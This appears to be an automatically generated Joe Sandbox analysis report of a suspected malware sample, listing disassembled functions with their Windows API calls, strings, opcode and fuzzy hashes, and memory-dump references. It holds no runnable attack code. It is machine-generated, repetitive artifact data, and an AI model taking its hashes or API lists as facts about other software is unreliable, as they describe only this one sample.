API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
String ID: SysAnimate32
API String ID: 4146253029-1011021900
Opcode ID: 3ec4f63d38d1b0632175ccdf440ab10634956fa763fa1a35daa0909da8c57e22
Instruction ID: d0e8df41305b99f787ed3a27f9f1ce9713b642f666725f1cb8d96cbe5d023fa4
Opcode Fuzzy Hash: 3ec4f63d38d1b0632175ccdf440ab10634956fa763fa1a35daa0909da8c57e22
Instruction Fuzzy Hash: 2521B871300205AFEF10AEA49C80FBB77ACEB49328F149218FA58A21D1D771CCA19770

Function 00CE7357 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 00CE7377
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00CE73AA
GetStdHandle.KERNEL32(0000000C), ref: 00CE73BC
CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 00CE73F6

Strings

nul, xrefs: 00CE73F1

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: 0b033a9b8b010b440fa353ef14d14b9fd9c549f5537c37a2bf41718dca06e7ab
Instruction ID: 73eae48709f268a7c46ffdb12c588aee765f3e96a1767b0ab90d9c1dff56ec5d
Opcode Fuzzy Hash: 0b033a9b8b010b440fa353ef14d14b9fd9c549f5537c37a2bf41718dca06e7ab
Instruction Fuzzy Hash: 2B21A470508346ABDB209F6ADC05A9A7BE5AF44720F204B19FDB0D72E0DBB0DD51EB60

Function 00CE7425 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00CE7444
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00CE7476
GetStdHandle.KERNEL32(000000F6), ref: 00CE7487
CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 00CE74C1

Strings

nul, xrefs: 00CE74BC

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: 7b1cad10570d30961966630f474bdc798a1c1384a7da2eb8c9dc3e93429cbc10
Instruction ID: d47a42ffe0752f36480c9d720185270856acccccaf629760162063cb891a5d78
Opcode Fuzzy Hash: 7b1cad10570d30961966630f474bdc798a1c1384a7da2eb8c9dc3e93429cbc10
Instruction Fuzzy Hash: 7021F831508386ABDB209F6A9C44E997BE8AF45730F204B19FDB0E72D0DB709941CF60

Function 00CEB283 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00CEB297
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 00CEB2EB
__swprintf.LIBCMT ref: 00CEB304
SetErrorMode.KERNEL32(00000000,00000001,00000000,00D10980), ref: 00CEB342

Strings

%lu, xrefs: 00CEB2FE

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: ErrorMode$InformationVolume__swprintf
String ID: %lu
API String ID: 3164766367-685833217
Opcode ID: f78d172566e468ed4d3235f8e0bb3a689e17166372eff1cd124afddc081c2384
Instruction ID: ca040ae7c24d08904492af3a74b054ef4c3046d42bf69ec0a307519da1370281
Opcode Fuzzy Hash: f78d172566e468ed4d3235f8e0bb3a689e17166372eff1cd124afddc081c2384
Instruction Fuzzy Hash: 5D216231600209AFCB10EFA5C845DAEBBB8EF49704B104069F905D7351DB71EA45DB61

Function 00CDAC05 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00C91821: _memmove.LIBCMT ref: 00C9185B

Part of subcall function 00CDAA52: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00CDAA6F
Part of subcall function 00CDAA52: GetWindowThreadProcessId.USER32(?,00000000), ref: 00CDAA82
Part of subcall function 00CDAA52: GetCurrentThreadId.KERNEL32 ref: 00CDAA89
Part of subcall function 00CDAA52: AttachThreadInput.USER32(00000000), ref: 00CDAA90

GetFocus.USER32 ref: 00CDAC2A

Part of subcall function 00CDAA9B: GetParent.USER32(?), ref: 00CDAAA9

GetClassNameW.USER32(?,?,00000100), ref: 00CDAC73
EnumChildWindows.USER32(?,00CDACEB), ref: 00CDAC9B
__swprintf.LIBCMT ref: 00CDACB5

Strings

%s%d, xrefs: 00CDACAF

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows__swprintf_memmove
String ID: %s%d
API String ID: 1941087503-1110647743
Opcode ID: e87778c7feaa700c9e9e08469617b7de4e66965a138456cfc63bb01289b3dc46
Instruction ID: cfcd3bcfd5553a5a29e7a26f5e9d009f22d0dae976682c60420cd1a71e4bdbb4
Opcode Fuzzy Hash: e87778c7feaa700c9e9e08469617b7de4e66965a138456cfc63bb01289b3dc46
Instruction Fuzzy Hash: C211B475600205BBDF11BFA0DD86FEA376CAB84710F044076FE0DAA283DA719945EB76

Function 00CE22E7 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 49COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00CE2318

Strings

APPEND, xrefs: 00CE2351
REMOVE, xrefs: 00CE231E
KEYS, xrefs: 00CE232F
EXISTS, xrefs: 00CE2340

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 3964851224-769500911
Opcode ID: 3c536a27edb2f8ac4a652fed30f8c5f2a4d65182aa585ef8ab5f976e5aa7ec8c
Instruction ID: c020738e09812796f391fa1be69ac0d37aed16f45c447035dc21f45b6501b471
Opcode Fuzzy Hash: 3c536a27edb2f8ac4a652fed30f8c5f2a4d65182aa585ef8ab5f976e5aa7ec8c
Instruction Fuzzy Hash: 4E113C709002199BCF00EF94D9919EEB7B8FF16354F608469E814A7362EB365E06DF50

Function 00CFF23E Relevance: 7.7, APIs: 5, Instructions: 247COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00CFF2F0
GetProcessIoCounters.KERNEL32(00000000,?), ref: 00CFF320
GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 00CFF453
CloseHandle.KERNEL32(?), ref: 00CFF4D4

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Process$CloseCountersHandleInfoMemoryOpen
String ID:
API String ID: 2364364464-0
Opcode ID: e824f8637675d408bd0cf597af74194ede0b047c8d0d82e67c3856bfa40e1df0
Instruction ID: ba0cc2c70eeb40176ea14d09917f75ca0cbf3ae4eafa34e229b9b5daed3d00de
Opcode Fuzzy Hash: e824f8637675d408bd0cf597af74194ede0b047c8d0d82e67c3856bfa40e1df0
Instruction Fuzzy Hash: 2381B171604301AFD724EF28D882F2AB7E5EF44714F14891DFA99DB392E7B0AC418B56

Function 00D00697 Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00C91A36: _memmove.LIBCMT ref: 00C91A77

Part of subcall function 00D0147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00D0040D,?,?), ref: 00D01491

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00D0075D
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00D0079C
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00D007E3
RegCloseKey.ADVAPI32(?,?), ref: 00D0080F
RegCloseKey.ADVAPI32(00000000), ref: 00D0081C

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpper_memmove
String ID:
API String ID: 3440857362-0
Opcode ID: 9ebd3acda3611abea8cf91730d22f27d7f368e0b10683f16a6aa5462ca1ed22a
Instruction ID: ab5189751a6d467837ca7de4ede26f9a38a9334907d9a1825b5c847b0b37310d
Opcode Fuzzy Hash: 9ebd3acda3611abea8cf91730d22f27d7f368e0b10683f16a6aa5462ca1ed22a
Instruction Fuzzy Hash: 04515B71208205AFD704EF64C885F6EBBE9FF88304F04891DF999872A1DB74E945DB62

Function 00CEEBB4 Relevance: 7.6, APIs: 5, Instructions: 135COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 00CEEC62
GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 00CEEC8B
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 00CEECCA

Part of subcall function 00C84D37: __itow.LIBCMT ref: 00C84D62
Part of subcall function 00C84D37: __swprintf.LIBCMT ref: 00C84DAC

WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00CEECEF
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00CEECF7

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
String ID:
API String ID: 1389676194-0
Opcode ID: ebfa2e8b8277c05601ada9191bdb3584fbb12a4063fbdf8c8ee947f1560ec70e
Instruction ID: 38ac1967372a0a89ed07920c65136c99d128c6eaf565fbf8b2b9896c3a0abd2e
Opcode Fuzzy Hash: ebfa2e8b8277c05601ada9191bdb3584fbb12a4063fbdf8c8ee947f1560ec70e
Instruction Fuzzy Hash: AA514D35A00205DFCB05EF65C9859ADBBF5EF09314B148099E809AB361DB31ED51DB64

Function 00D0A67B Relevance: 7.6, APIs: 5, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 854b40e474712461adf755d2d49f1fdd1e70a8f08d0d2ed5c4655640fdcc5e79
Instruction ID: af2bea64fe5d5ef0c9f391757654fcba35fd961bb97aa386f619c7c9c4841102
Opcode Fuzzy Hash: 854b40e474712461adf755d2d49f1fdd1e70a8f08d0d2ed5c4655640fdcc5e79
Instruction Fuzzy Hash: 7041BE75900314AFD720DB2CCC88FE9BBB8EB89310F188165E95AE72D1C770AD41DAB1

Function 00C82714 Relevance: 7.6, APIs: 5, Instructions: 111keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00C82727
ScreenToClient.USER32(00D477B0,?), ref: 00C82744
GetAsyncKeyState.USER32(00000001), ref: 00C82769
GetAsyncKeyState.USER32(00000002), ref: 00C82777

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 15bc6bd803a7ee19cc46fcd546b2f3351787df5958941384f81363668c4ec53c
Instruction ID: 293e2fda99d65de0a4c65cbd4207e2cb482d8610ef299fe2d3f225f49de6a021
Opcode Fuzzy Hash: 15bc6bd803a7ee19cc46fcd546b2f3351787df5958941384f81363668c4ec53c
Instruction Fuzzy Hash: 19419675504119FFDF15AF65C848EE9BBB4FB05324F508316F828922A0C7349E90DBA5

Function 00CD95D7 Relevance: 7.6, APIs: 5, Instructions: 89sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00CD95E8
PostMessageW.USER32(?,00000201,00000001), ref: 00CD9692
Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 00CD969A
PostMessageW.USER32(?,00000202,00000000), ref: 00CD96A8
Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 00CD96B0

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: 173ecb4f75a52dbed42131b07200ee85883f91bd6c683e9d7f8a40d1dd593e86
Instruction ID: eb3c7ee56baae39164f7f6384ac8c763f111a7176fceb1fa461f9f3c9e3cd4e7
Opcode Fuzzy Hash: 173ecb4f75a52dbed42131b07200ee85883f91bd6c683e9d7f8a40d1dd593e86
Instruction Fuzzy Hash: 1831BC75900219EFDB14CF68D94CADE7BB5EB44315F10821AFA24EB2D0C7B0DA65DBA0

Function 00CDBD85 Relevance: 7.6, APIs: 5, Instructions: 88windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00CDBD9D
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00CDBDBA
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00CDBDF2
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 00CDBE18
_wcsstr.LIBCMT ref: 00CDBE22

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
String ID:
API String ID: 3902887630-0
Opcode ID: 4177d45c30ed5ac263e1f050e4e7930fef956b0ada9c7732f56d7de66f9a9e1f
Instruction ID: 184df7a195f6b06898f7e1691d560885b5b845a6e1760c4443ff342e956df8f3
Opcode Fuzzy Hash: 4177d45c30ed5ac263e1f050e4e7930fef956b0ada9c7732f56d7de66f9a9e1f
Instruction Fuzzy Hash: 51210732204204BBEB255B359C09EBB7FADDF45760F11802AFA09CA291EF61DD419260

Function 00D0B7BD Relevance: 7.6, APIs: 5, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 00C829E2: GetWindowLongW.USER32(?,000000EB), ref: 00C829F3

GetWindowLongW.USER32(?,000000F0), ref: 00D0B804
SetWindowLongW.USER32(00000000,000000F0,00000001), ref: 00D0B829
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 00D0B841
GetSystemMetrics.USER32(00000004), ref: 00D0B86A
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,?,?,00CF155C,00000000), ref: 00D0B888

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Window$Long$MetricsSystem
String ID:
API String ID: 2294984445-0
Opcode ID: 7b85579b1f0bf77878adc2a79bd050e8bc32b78bdc990cc5428a1c0cd6604f13
Instruction ID: cc629c54c4c1111723203f184619ee7846c586679bf54d50fca1eb0bce65eacb
Opcode Fuzzy Hash: 7b85579b1f0bf77878adc2a79bd050e8bc32b78bdc990cc5428a1c0cd6604f13
Instruction Fuzzy Hash: 3E218371A18215AFCB149F388C08B6A3BA9FB45734F14873AF969D72E0D770D851DBA0

Function 00CF6138 Relevance: 7.6, APIs: 5, Instructions: 70COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00CF6159
GetForegroundWindow.USER32 ref: 00CF6170
GetDC.USER32(00000000), ref: 00CF61AC
GetPixel.GDI32(00000000,?,00000003), ref: 00CF61B8
ReleaseDC.USER32(00000000,00000003), ref: 00CF61F3

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: c1e96b1adacd6defb967e93b1211a5e8c5d8600690c39a9731080dd7911cb3da
Instruction ID: 21a25b84e84a613f446ba8ddb2007cad23449aeaf812ea4290e65f38db24e20b
Opcode Fuzzy Hash: c1e96b1adacd6defb967e93b1211a5e8c5d8600690c39a9731080dd7911cb3da
Instruction Fuzzy Hash: 20219F75A00204AFD704EF65DC84AAABBF9EF88310F14C469E94AD7352CE70AC41DBA0

Function 00C816CF Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00C81729
SelectObject.GDI32(?,00000000), ref: 00C81738
BeginPath.GDI32(?), ref: 00C8174F
SelectObject.GDI32(?,00000000), ref: 00C81778

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 42f81d675529b269c968f0e9a9e515531042a13f4fbf7f06546ea216ee096989
Instruction ID: 27cd79b8d5e0d038b69b643d64fd6ab1a55dd7eef8e07fbf3d8406fa7258d6ad
Opcode Fuzzy Hash: 42f81d675529b269c968f0e9a9e515531042a13f4fbf7f06546ea216ee096989
Instruction Fuzzy Hash: 8021A134804308EBDB10AF65DD48BA97BE8F701365F184219F825D63A0D7B09A92DBA4

Function 00CDC837 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 00CDC84C
_memcmp.LIBCMT ref: 00CDC86A
_memcmp.LIBCMT ref: 00CDC87D
_memcmp.LIBCMT ref: 00CDC895
_memcmp.LIBCMT ref: 00CDC8AD

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: df5e4919ec185f73aaf49f10c50201ce5267b73d237622785952abf06fe5155f
Instruction ID: 2f204ef4f7a5ab93082670bd254e90cddade1db8fa1efbd7cadeae35c90b83b7
Opcode Fuzzy Hash: df5e4919ec185f73aaf49f10c50201ce5267b73d237622785952abf06fe5155f
Instruction Fuzzy Hash: BE01C072A442073B96046111ADC2EEB631CDA21388F084126FF1696381EA60DF14E2E0

Function 00CE504E Relevance: 7.6, APIs: 5, Instructions: 56synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00CE5075
__beginthreadex.LIBCMT ref: 00CE5093
MessageBoxW.USER32(?,?,?,?), ref: 00CE50A8
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 00CE50BE
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00CE50C5

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

